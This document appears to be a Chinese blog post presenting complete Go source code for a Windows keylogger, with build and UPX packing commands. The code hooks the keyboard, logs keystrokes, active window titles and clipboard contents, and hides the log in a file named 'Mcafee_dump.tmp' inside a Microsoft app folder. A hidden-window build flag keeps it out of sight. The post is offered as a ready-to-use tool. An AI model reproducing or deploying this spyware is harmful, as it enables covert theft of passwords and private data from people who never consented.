keylogger

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

说明

网上找了几款键盘记录工具都不好用,遂在其它开源基础上造一个轮子

功能:

  1. 记录时间
  2. 记录当前所在窗口
  3. 记录剪贴板

写得比较仓促缺乏测试,有bug或其它需求欢迎联系本人

记录内容保存在:

C:\Users\[user]\AppData\Local\Packages\Microsoft.Messaging_8wekyb3d8bbwe\Mcafee_dump.tmp

编译方法:

go build -ldflags "-s -w -H=windowsgui" key.go

使用docker环境编译:

1
docker run  --rm -it -v ${PWD}:/go golang:stretch env  GO111MODULE=on GOPROXY=https://goproxy.io GOOS=windows GOARCH=x64 CGO_ENABLED=0 go build -ldflags -s -w -H=windowsgui key.go

upx 压缩 :
upx.exe -k -9 windowslogger.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
package main

import (
"log"
"os"
"os/user"
"strings"
"syscall"
"time"
"unsafe"

"github.com/TheTitanrain/w32"
"github.com/atotto/clipboard"
"golang.org/x/sys/windows"
)

//未按shift
var keys_low = map[uint16]string{
8: "[Back]",
9: "[Tab]",
10: "[Shift]",
13: "[Enter]\r\n",
14: "",
15: "",
16: "",
17: "[Ctrl]",
18: "[Alt]",
19: "",
20: "", //CAPS LOCK
27: "[Esc]",
32: " ", //SPACE
33: "[PageUp]",
34: "[PageDown]",
35: "[End]",
36: "[Home]",
37: "[Left]",
38: "[Up]",
39: "[Right]",
40: "[Down]",
41: "[Select]",
42: "[Print]",
43: "[Execute]",
44: "[PrintScreen]",
45: "[Insert]",
46: "[Delete]",
47: "[Help]",
48: "0",
49: "1",
50: "2",
51: "3",
52: "4",
53: "5",
54: "6",
55: "7",
56: "8",
57: "9",
65: "a",
66: "b",
67: "c",
68: "d",
69: "e",
70: "f",
71: "g",
72: "h",
73: "i",
74: "j",
75: "k",
76: "l",
77: "m",
78: "n",
79: "o",
80: "p",
81: "q",
82: "r",
83: "s",
84: "t",
85: "u",
86: "v",
87: "w",
88: "x",
89: "y",
90: "z",
91: "[Windows]",
92: "[Windows]",
93: "[Applications]",
94: "",
95: "[Sleep]",
96: "0",
97: "1",
98: "2",
99: "3",
100: "4",
101: "5",
102: "6",
103: "7",
104: "8",
105: "9",
106: "*",
107: "+",
108: "[Separator]",
109: "-",
110: ".",
111: "[Divide]",
112: "[F1]",
113: "[F2]",
114: "[F3]",
115: "[F4]",
116: "[F5]",
117: "[F6]",
118: "[F7]",
119: "[F8]",
120: "[F9]",
121: "[F10]",
122: "[F11]",
123: "[F12]",
144: "[NumLock]",
145: "[ScrollLock]",
160: "", //LShift
161: "", //RShift
162: "[Ctrl]",
163: "[Ctrl]",
164: "[Alt]", //LeftMenu
165: "[RightMenu]",
186: ";",
187: "=",
188: ",",
189: "-",
190: ".",
191: "/",
192: "`",
219: "[",
220: "\\",
221: "]",
222: "'",
223: "!",
}

//SHIFT
var keys_high = map[uint16]string{
8: "[Back]",
9: "[Tab]",
10: "[Shift]",
13: "[Enter]\r\n",
17: "[Ctrl]",
18: "[Alt]",
20: "", //CAPS LOCK
27: "[Esc]",
32: " ", //SPACE
33: "[PageUp]",
34: "[PageDown]",
35: "[End]",
36: "[Home]",
37: "[Left]",
38: "[Up]",
39: "[Right]",
40: "[Down]",
41: "[Select]",
42: "[Print]",
43: "[Execute]",
44: "[PrintScreen]",
45: "[Insert]",
46: "[Delete]",
47: "[Help]",
48: ")",
49: "!",
50: "@",
51: "#",
52: "$",
53: "%",
54: "^",
55: "&",
56: "*",
57: "(",
65: "A",
66: "B",
67: "C",
68: "D",
69: "E",
70: "F",
71: "G",
72: "H",
73: "I",
74: "J",
75: "K",
76: "L",
77: "M",
78: "N",
79: "O",
80: "P",
81: "Q",
82: "R",
83: "S",
84: "T",
85: "U",
86: "V",
87: "W",
88: "X",
89: "Y",
90: "Z",
91: "[Windows]",
92: "[Windows]",
93: "[Applications]",
94: "",
95: "[Sleep]",
96: "0",
97: "1",
98: "2",
99: "3",
100: "4",
101: "5",
102: "6",
103: "7",
104: "8",
105: "9",
106: "*",
107: "+",
108: "[Separator]",
109: "-",
110: ".",
111: "[Divide]",
112: "[F1]",
113: "[F2]",
114: "[F3]",
115: "[F4]",
116: "[F5]",
117: "[F6]",
118: "[F7]",
119: "[F8]",
120: "[F9]",
121: "[F10]",
122: "[F11]",
123: "[F12]",
144: "[NumLock]",
145: "[ScrollLock]",
160: "", //LShift
161: "", //RShift
162: "[Ctrl]",
163: "[Ctrl]",
164: "[Alt]", //LeftMenu
165: "[RightMenu]",
186: ":",
187: "+",
188: "<",
189: "_",
190: ">",
191: "?",
192: "~",
219: "°",
220: "|",
221: "}",
222: "\"",
223: "!",
}

//大小写
var capup = map[uint16]string{
8: "[Back]",
9: "[Tab]",
10: "[Shift]",
13: "[Enter]\r\n",
14: "",
15: "",
16: "",
17: "[Ctrl]",
18: "[Alt]",
19: "",
20: "", //CAPS LOCK
27: "[Esc]",
32: " ", //SPACE
33: "[PageUp]",
34: "[PageDown]",
35: "[End]",
36: "[Home]",
37: "[Left]",
38: "[Up]",
39: "[Right]",
40: "[Down]",
41: "[Select]",
42: "[Print]",
43: "[Execute]",
44: "[PrintScreen]",
45: "[Insert]",
46: "[Delete]",
47: "[Help]",
48: "0",
49: "1",
50: "2",
51: "3",
52: "4",
53: "5",
54: "6",
55: "7",
56: "8",
57: "9",
65: "A",
66: "B",
67: "C",
68: "D",
69: "E",
70: "F",
71: "G",
72: "H",
73: "I",
74: "J",
75: "K",
76: "L",
77: "M",
78: "N",
79: "O",
80: "P",
81: "P",
82: "R",
83: "S",
84: "T",
85: "U",
86: "V",
87: "W",
88: "X",
89: "Y",
90: "Z",
91: "[Windows]",
92: "[Windows]",
93: "[Applications]",
94: "",
95: "[Sleep]",
96: "0",
97: "1",
98: "2",
99: "3",
100: "4",
101: "5",
102: "6",
103: "7",
104: "8",
105: "9",
106: "*",
107: "+",
108: "[Separator]",
109: "-",
110: ".",
111: "[Divide]",
112: "[F1]",
113: "[F2]",
114: "[F3]",
115: "[F4]",
116: "[F5]",
117: "[F6]",
118: "[F7]",
119: "[F8]",
120: "[F9]",
121: "[F10]",
122: "[F11]",
123: "[F12]",
144: "[NumLock]",
145: "[ScrollLock]",
160: "", //LShift
161: "", //RShift
162: "[Ctrl]",
163: "[Ctrl]",
164: "[Alt]", //LeftMenu
165: "[RightMenu]",
186: ";",
187: "=",
188: ",",
189: "-",
190: ".",
191: "/",
192: "`",
219: "[",
220: "\\",
221: "]",
222: "'",
223: "!",
}

var (
user32 = windows.NewLazySystemDLL("user32.dll")
procSetWindowsHookEx = user32.NewProc("SetWindowsHookExW")
procCallNextHookEx = user32.NewProc("CallNextHookEx")
procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx")
procGetMessage = user32.NewProc("GetMessageW")
procGetKeyState = user32.NewProc("GetKeyState")
procGetAsyncKeyState = user32.NewProc("GetAsyncKeyState")
procGetForegroundWindow = user32.NewProc("GetForegroundWindow")
procGetWindowTextW = user32.NewProc("GetWindowTextW")
keyboardHook HHOOK
tmpKeylog string
vowelMin string = "aeiou"
vowelMaj string = "AEIOU"
writer Writer
)

const (
WH_KEYBOARD_LL = 13
WM_KEYDOWN = 256
)

type (
DWORD uint32
WPARAM uintptr
LPARAM uintptr
LRESULT uintptr
HANDLE uintptr
HINSTANCE HANDLE
HHOOK HANDLE
HWND HANDLE
)

type HOOKPROC func(int, WPARAM, LPARAM) LRESULT

type KBDLLHOOKSTRUCT struct {
VkCode DWORD
ScanCode DWORD
Flags DWORD
Time DWORD
DwExtraInfo uintptr
}

type POINT struct {
X, Y int32
}

type MSG struct {
Hwnd HWND
Message uint32
WParam uintptr
LParam uintptr
Time uint32
Pt POINT
}

func CreateKeylogFile(path string) {
file, err := os.Create(path)
if err != nil {
log.Fatal("Cannot create file", err)
}
defer file.Close()
writer.file = file
}

type Writer struct {
file *os.File
}

func main() {
go clipboardLogger()
go WindowLogger()
Keylogger()

}

func SetWindowsHookEx(idHook int, lpfn HOOKPROC, hMod HINSTANCE, dwThreadId DWORD) HHOOK {
ret, _, _ := procSetWindowsHookEx.Call(
uintptr(idHook),
uintptr(syscall.NewCallback(lpfn)),
uintptr(hMod),
uintptr(dwThreadId),
)
return HHOOK(ret)
}

func CallNextHookEx(hhk HHOOK, nCode int, wParam WPARAM, lParam LPARAM) LRESULT {
ret, _, _ := procCallNextHookEx.Call(
uintptr(hhk),
uintptr(nCode),
uintptr(wParam),
uintptr(lParam),
)
return LRESULT(ret)
}

func UnhookWindowsHookEx(hhk HHOOK) bool {
ret, _, _ := procUnhookWindowsHookEx.Call(
uintptr(hhk),
)
return ret != 0
}

func GetMessage(msg *MSG, hwnd HWND, msgFilterMin uint32, msgFilterMax uint32) int {
ret, _, _ := procGetMessage.Call(
uintptr(unsafe.Pointer(msg)),
uintptr(hwnd),
uintptr(msgFilterMin),
uintptr(msgFilterMax))
return int(ret)
}

func getForegroundWindow() (hwnd syscall.Handle, err error) {
r0, _, e1 := syscall.Syscall(procGetForegroundWindow.Addr(), 0, 0, 0, 0)
if e1 != 0 {
err = error(e1)
return
}
hwnd = syscall.Handle(r0)
return
}

func getWindowText(hwnd syscall.Handle, str *uint16, maxCount int32) (len int32, err error) {
r0, _, e1 := syscall.Syscall(procGetWindowTextW.Addr(), 3, uintptr(hwnd), uintptr(unsafe.Pointer(str)), uintptr(maxCount))
len = int32(r0)
if len == 0 {
if e1 != 0 {
err = error(e1)
} else {
err = syscall.EINVAL
}
}
return
}

func WindowLogger() {

var tmpTitle string
for {
g, _ := getForegroundWindow()
b := make([]uint16, 200)
_, err := getWindowText(g, &b[0], int32(len(b)))
if err != nil {
}
if syscall.UTF16ToString(b) != "" {
if tmpTitle != syscall.UTF16ToString(b) {
tmpTitle = syscall.UTF16ToString(b)
tmpKeylog += string("\r\n[" + tmpTitle + "]\r\n")

}
}

time.Sleep(1 * time.Millisecond)
}
}

func Keylogger() {
var msg MSG
CAPS, _, _ := procGetKeyState.Call(uintptr(w32.VK_CAPITAL))
CAPS = CAPS & 0x000001
var CAPS2 uintptr
var SHIFT uintptr
var precLog string = ""
//var write bool = false
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)(func(nCode int, wparam WPARAM, lparam LPARAM) LRESULT {
if nCode == 0 && wparam == WM_KEYDOWN {
SHIFT, _, _ = procGetAsyncKeyState.Call(uintptr(w32.VK_SHIFT))
if SHIFT == 32769 || SHIFT == 32768 {

SHIFT = 1
}
kbdstruct := (*KBDLLHOOKSTRUCT)(unsafe.Pointer(lparam))
code := byte(kbdstruct.VkCode)
if code == w32.VK_CAPITAL {
if CAPS == 1 {
CAPS = 0
} else {
CAPS = 1
}
}
if SHIFT == 1 {
CAPS2 = 1
} else {
CAPS2 = 0
}
//未按shift
if CAPS == 0 && CAPS2 == 0 {
tmpKeylog += keys_low[uint16(code)]

} else if CAPS2 == 1 {
tmpKeylog += keys_high[uint16(code)]
} else {
tmpKeylog += capup[uint16(code)]
}

}
if tmpKeylog != "" {
savefile(tmpKeylog)
precLog = tmpKeylog
tmpKeylog = ""
}
return CallNextHookEx(keyboardHook, nCode, wparam, lparam)
}), 0, 0)

for GetMessage(&msg, 0, 0, 0) != 0 {
time.Sleep(1 * time.Millisecond)
}

UnhookWindowsHookEx(keyboardHook)
keyboardHook = 0
}

func clipboardLogger() {

text, _ := clipboard.ReadAll()

for {
text1, _ := clipboard.ReadAll()
if text1 != "" && text1 != text {
tmpKeylog += string("\r\n[Clipboard: " + text1 + "]\r\n")
text = text1

}
time.Sleep(20 * time.Millisecond)

}

}

//实现延时写入文件 并加入时间戳

func getAppData() string {
usr, err := user.Current()
if err != nil {
log.Fatal(err)
}
app := usr.HomeDir + "\\AppData\\Local\\Packages\\Microsoft.Messaging_8wekyb3d8bbwe\\"
return app
}
func isExist(filename string) bool {
_, err := os.Stat(filename)
return err == nil
}

func savefile(str string) {
directory := getAppData()
dir := strings.Replace(directory, "\\", "/", -1)
//log.Printf(dir)
if !isExist(dir) {
err := os.MkdirAll(dir, 0777)
if err != nil {
log.Fatal("cannot create directory")
}
}

f, err := os.OpenFile(dir+"Mcafee_dump.tmp", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0644)
if err != nil {
log.Fatalf("file open error : %v", err)
}
defer f.Close()
log.SetOutput(f)
log.Printf(str)
time.Sleep(20 * time.Millisecond)
}